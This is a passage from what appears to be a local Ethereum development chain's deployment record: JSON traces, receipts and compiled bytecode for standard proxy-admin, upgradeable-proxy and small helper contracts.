afe3b4186f6b6457e09190a35050565b61069a8061007a6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212202a25c113a0c89ae9cdec45156ac7a705552559358051c68fc6aad769f491533264736f6c634300081c0033","output":"0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212202a25c113a0c89ae9cdec45156ac7a705552559358051c68fc6aad769f491533264736f6c634300081c0033","gas_used":362115,"gas_limit":494948,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212202a25c113a0c89ae9cdec45156ac7a705552559358051c68fc6aad769f491533264736f6c634300081c0033","nonce":33,"gas_used":443273},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x6c389","logs":[{"address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000001000000000000000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000008000000000"},"block_hash":"0x3f0d2876aa740f9906b44a09a7c53d8f730cf8cef64ae9dbfbc0e9bddb1e63a3","block_number":1},{"info":{"transaction_hash":"0xba6207cba7d5f845936d9cc1a4bb335307ec8be30eaae92f027b0033192ca3c9","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x82e01223d51eb87e16a03e24687edf0f294da6f1","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x82e01223d51eb87e16a03e24687edf0f294da6f1","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405234801561001057600080fd5b5060405161046a38038061046a83398101604081905261002f91610054565b600080546001600160a01b0319166001600160a01b0392909216919091179055610084565b60006020828403121561006657600080fd5b81516001600160a01b038116811461007d57600080fd5b9392505050565b6103d7806100936000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063bd90df701461003b578063fa534dc01461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007e6100793660046101b7565b61008e565b6040519015158152602001610062565b60008054604051829182916001600160a01b03909116906100bf908c908c908c908c908c908c908c906024016102ed565b60408051601f198184030181529181526020820180516001600160e01b03166303e94d3760e61b179052516100f4919061035c565b600060405180830381855afa9150503d806000811461012f576040519150601f19603f3d011682016040523d82523d6000602084013e610134565b606091505b50915091508161017f5760405162461bcd60e51b81526020600482015260126024820152711cdd185d1a58d7d8d85b1b0819985a5b195960721b604482015260640160405180910390fd5b808060200190518101906101939190610378565b9a9950505050505050505050565b634e487b7160e01b600052604160045260246000fd5b600080600080600080600060e0888a0312156101d257600080fd5b87359650602088013595506040880135945060608801356bffffffffffffffffffffffff198116811461020457600080fd5b93506080880135925060a088013567ffffffffffffffff8082111561022857600080fd5b818a0191508a601f83011261023c57600080fd5b81358181111561024e5761024e6101a1565b604051601f8201601f19908116603f01168101908382118183101715610276576102766101a1565b816040528281528d602084870101111561028f57600080fd5b82602086016020830137600060208483010152809650505050505060c0880135905092959891949750929550565b60005b838110156102d85781810151838201526020016102c0565b838111156102e7576000848401525b50505050565b8781528660208201528560408201526bffffffffffffffffffffffff198516606082015283608082015260e060a0820152600083518060e084015261010061033b82828601602089016102bd565b60c0840194909452601f01601f191691909101909101979650505050505050565b6000825161036e8184602087016102bd565b9190910192915050565b60006020828403121561038a57600080fd5b8151801515811461039a57600080fd5b939250505056fea26469706673582212207021776faa52361d1355735bd50778b64190416beef25e28f1e583a8862e1f1a64736f6c634300080c00330000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","output":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063bd90df701461003b578063fa534dc01461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007e6100793660046101b7565b61008e565b6040519015158152602001610062565b60008054604051829182916001600160a01b03909116906100bf908c908c908c908c908c908c908c906024016102ed565b60408051601f198184030181529181526020820180516001600160e01b03166303e94d3760e61b179052516100f4919061035c565b600060405180830381855afa9150503d806000811461012f576040519150601f19603f3d011682016040523d82523d6000602084013e610134565b606091505b50915091508161017f5760405162461bcd60e51b81526020600482015260126024820152711cdd185d1a58d7d8d85b1b0819985a5b195960721b604482015260640160405180910390fd5b808060200190518101906101939190610378565b9a9950505050505050505050565b634e487b7160e01b600052604160045260246000fd5b600080600080600080600060e0888a0312156101d257600080fd5b87359650602088013595506040880135945060608801356bffffffffffffffffffffffff198116811461020457600080fd5b93506080880135925060a088013567ffffffffffffffff8082111561022857600080fd5b818a0191508a601f83011261023c57600080fd5b81358181111561024e5761024e6101a1565b604051601f8201601f19908116603f01168101908382118183101715610276576102766101a1565b816040528281528d602084870101111561028f57600080fd5b82602086016020830137600060208483010152809650505050505060c0880135905092959891949750929550565b60005b838110156102d85781810151838201526020016102c0565b838111156102e7576000848401525b50505050565b8781528660208201528560408201526bffffffffffffffffffffffff198516606082015283608082015260e060a0820152600083518060e084015261010061033b82828601602089016102bd565b60c0840194909452601f01601f191691909101909101979650505050505050565b6000825161036e8184602087016102bd565b9190910192915050565b60006020828403121561038a57600080fd5b8151801515811461039a57600080fd5b939250505056fea26469706673582212207021776faa52361d1355735bd50778b64190416beef25e28f1e583a8862e1f1a64736f6c634300080c0033","gas_used":219187,"gas_limit":306105,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063bd90df701461003b578063fa534dc01461006b575b600080fd5b60005461004e906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007e6100793660046101b7565b61008e565b6040519015158152602001610062565b60008054604051829182916001600160a01b03909116906100bf908c908c908c908c908c908c908c906024016102ed565b60408051601f198184030181529181526020820180516001600160e01b03166303e94d3760e61b179052516100f4919061035c565b600060405180830381855afa9150503d806000811461012f576040519150601f19603f3d011682016040523d82523d6000602084013e610134565b606091505b50915091508161017f5760405162461bcd60e51b81526020600482015260126024820152711cdd185d1a58d7d8d85b1b0819985a5b195960721b604482015260640160405180910390fd5b808060200190518101906101939190610378565b9a9950505050505050505050565b634e487b7160e01b600052604160045260246000fd5b600080600080600080600060e0888a0312156101d257600080fd5b87359650602088013595506040880135945060608801356bffffffffffffffffffffffff198116811461020457600080fd5b93506080880135925060a088013567ffffffffffffffff8082111561022857600080fd5b818a0191508a601f83011261023c57600080fd5b81358181111561024e5761024e6101a1565b604051601f8201601f19908116603f01168101908382118183101715610276576102766101a1565b816040528281528d602084870101111561028f57600080fd5b82602086016020830137600060208483010152809650505050505060c0880135905092959891949750929550565b60005b838110156102d85781810151838201526020016102c0565b838111156102e7576000848401525b50505050565b8781528660208201528560408201526bffffffffffffffffffffffff198516606082015283608082015260e060a0820152600083518060e084015261010061033b82828601602089016102bd565b60c0840194909452601f01601f191691909101909101979650505050505050565b6000825161036e8184602087016102bd565b9190910192915050565b60006020828403121561038a57600080fd5b8151801515811461039a57600080fd5b939250505056fea26469706673582212207021776faa52361d1355735bd50778b64190416beef25e28f1e583a8862e1f1a64736f6c634300080c0033","nonce":54,"gas_used":290049},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x46d01","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xccc3c27a0fdc61c3c539e3f3143954666d06c4b65f497fb4638e8320864a9c65","block_number":13},{"info":{"transaction_hash":"0xef6282af4624359b81a1baee3830d63692b9be6752167c49f84671a68198a2e0","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xa82ff9afd8f496c3d6ac40e2a0f282e47488cfc9","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xa82ff9afd8f496c3d6ac40e2a0f282e47488cfc9","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052348015600f57600080fd5b506104518061001f6000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80632702747d14610046578063793e1c8e1461006f5780637be6aa6b14610090575b600080fd5b61005961005436600461023e565b6100a3565b6040516100669190610277565b60405180910390f35b61007861dead81565b6040516001600160a01b039091168152602001610066565b61005961009e3660046102c3565b6100fd565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03166333cfb7b760e01b1790526060906100f3848261013a565b9150505b92915050565b6040805160048152602481019091526020810180516001600160e01b031663e481af9d60e01b179052606090610133838261013a565b9392505050565b6060600080846001600160a01b03168460405161015791906102e0565b600060405180830381855afa9150503d8060008114610192576040519150601f19603f3d011682016040523d82523d6000602084013e610197565b606091505b50915091508180156101aa575060008151115b156101cc57808060200190518101906101c39190610335565b925050506100f7565b6040805160018082528183019092526000916020808301908036833701905050905061dead8160008151811061020457610204610405565b6001600160a01b039092166020928302919091019091015292506100f7915050565b6001600160a01b038116811461023b57600080fd5b50565b6000806040838503121561025157600080fd5b823561025c81610226565b9150602083013561026c81610226565b809150509250929050565b602080825282518282018190526000918401906040840190835b818110156102b85783516001600160a01b0316835260209384019390920191600101610291565b509095945050505050565b6000602082840312156102d557600080fd5b813561013381610226565b6000825160005b8181101561030157602081860181015185830152016102e7565b506000920191825250919050565b634e487b7160e01b600052604160045260246000fd5b805161033081610226565b919050565b60006020828403121561034757600080fd5b815167ffffffffffffffff81111561035e57600080fd5b8201601f8101841361036f57600080fd5b805167ffffffffffffffff8111156103895761038961030f565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156103b6576103b661030f565b6040529182526020818401810192908101878411156103d457600080fd5b6020850194505b838510156103fa576103ec85610325565b8152602094850194016103db565b509695505050505050565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220e23deb2b8d0d229423ee6a26c4dd614627e96750b4bea5dc46930bcb32890c6664736f6c634300081c0033","output":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c80632702747d14610046578063793e1c8e1461006f5780637be6aa6b14610090575b600080fd5b61005961005436600461023e565b6100a3565b6040516100669190610277565b60405180910390f35b61007861dead81565b6040516001600160a01b039091168152602001610066565b61005961009e3660046102c3565b6100fd565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03166333cfb7b760e01b1790526060906100f3848261013a565b9150505b92915050565b6040805160048152602481019091526020810180516001600160e01b031663e481af9d60e01b179052606090610133838261013a565b9392505050565b6060600080846001600160a01b03168460405161015791906102e0565b600060405180830381855afa9150503d8060008114610192576040519150601f19603f3d011682016040523d82523d6000602084013e610197565b606091505b50915091508180156101aa575060008151115b156101cc57808060200190518101906101c39190610335565b925050506100f7565b6040805160018082528183019092526000916020808301908036833701905050905061dead8160008151811061020457610204610405565b6001600160a01b039092166020928302919091019091015292506100f7915050565b6001600160a01b038116811461023b57600080fd5b50565b6000806040838503121561025157600080fd5b823561025c81610226565b9150602083013561026c81610226565b809150509250929050565b602080825282518282018190526000918401906040840190835b818110156102b85783516001600160a01b0316835260209384019390920191600101610291565b509095945050505050565b6000602082840312156102d557600080fd5b813561013381610226565b6000825160005b8181101561030157602081860181015185830152016102e7565b506000920191825250919050565b634e487b7160e01b600052604160045260246000fd5b805161033081610226565b919050565b60006020828403121561034757600080fd5b815167ffffffffffffffff81111561035e57600080fd5b8201601f8101841361036f57600080fd5b805167ffffffffffffffff8111156103895761038961030f565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156103b6576103b661030f565b6040529182526020818401810192908101878411156103d457600080fd5b6020850194505b838510156103fa576103ec85610325565b8152602094850194016103db565b509695505050505050565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220e23deb2b8d0d229423ee6a26c4dd614627e96750b4bea5dc46930bcb32890c6664736f6c634300081c0033","gas_used":221263,"gas_limit":308739,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106100415760003560e01c80632702747d14610046578063793e1c8e1461006f5780637be6aa6b14610090575b600080fd5b61005961005436600461023e565b6100a3565b6040516100669190610277565b60405180910390f35b61007861dead81565b6040516001600160a01b039091168152602001610066565b61005961009e3660046102c3565b6100fd565b604080516001600160a01b0383166024808301919091528251808303909101815260449091019091526020810180516001600160e01b03166333cfb7b760e01b1790526060906100f3848261013a565b9150505b92915050565b6040805160048152602481019091526020810180516001600160e01b031663e481af9d60e01b179052606090610133838261013a565b9392505050565b6060600080846001600160a01b03168460405161015791906102e0565b600060405180830381855afa9150503d8060008114610192576040519150601f19603f3d011682016040523d82523d6000602084013e610197565b606091505b50915091508180156101aa575060008151115b156101cc57808060200190518101906101c39190610335565b925050506100f7565b6040805160018082528183019092526000916020808301908036833701905050905061dead8160008151811061020457610204610405565b6001600160a01b039092166020928302919091019091015292506100f7915050565b6001600160a01b038116811461023b57600080fd5b50565b6000806040838503121561025157600080fd5b823561025c81610226565b9150602083013561026c81610226565b809150509250929050565b602080825282518282018190526000918401906040840190835b818110156102b85783516001600160a01b0316835260209384019390920191600101610291565b509095945050505050565b6000602082840312156102d557600080fd5b813561013381610226565b6000825160005b8181101561030157602081860181015185830152016102e7565b506000920191825250919050565b634e487b7160e01b600052604160045260246000fd5b805161033081610226565b919050565b60006020828403121561034757600080fd5b815167ffffffffffffffff81111561035e57600080fd5b8201601f8101841361036f57600080fd5b805167ffffffffffffffff8111156103895761038961030f565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156103b6576103b661030f565b6040529182526020818401810192908101878411156103d457600080fd5b6020850194505b838510156103fa576103ec85610325565b8152602094850194016103db565b509695505050505050565b634e487b7160e01b600052603260045260246000fdfea2646970667358221220e23deb2b8d0d229423ee6a26c4dd614627e96750b4bea5dc46930bcb32890c6664736f6c634300081c0033","nonce":34,"gas_used":291899},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x4743b","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x2adb1a20555aa67a5bea87f7b77e7b77b2d01daa8a667bbcd3a29097c770975d","block_number":2},{"info":{"transaction_hash":"0xea70a7048358bbbe61990307b98c7d7b2ded773628f8a10093b926146c9f2791","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x95401dc811bb5740090279ba06cfa8fcf6113778","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd0818481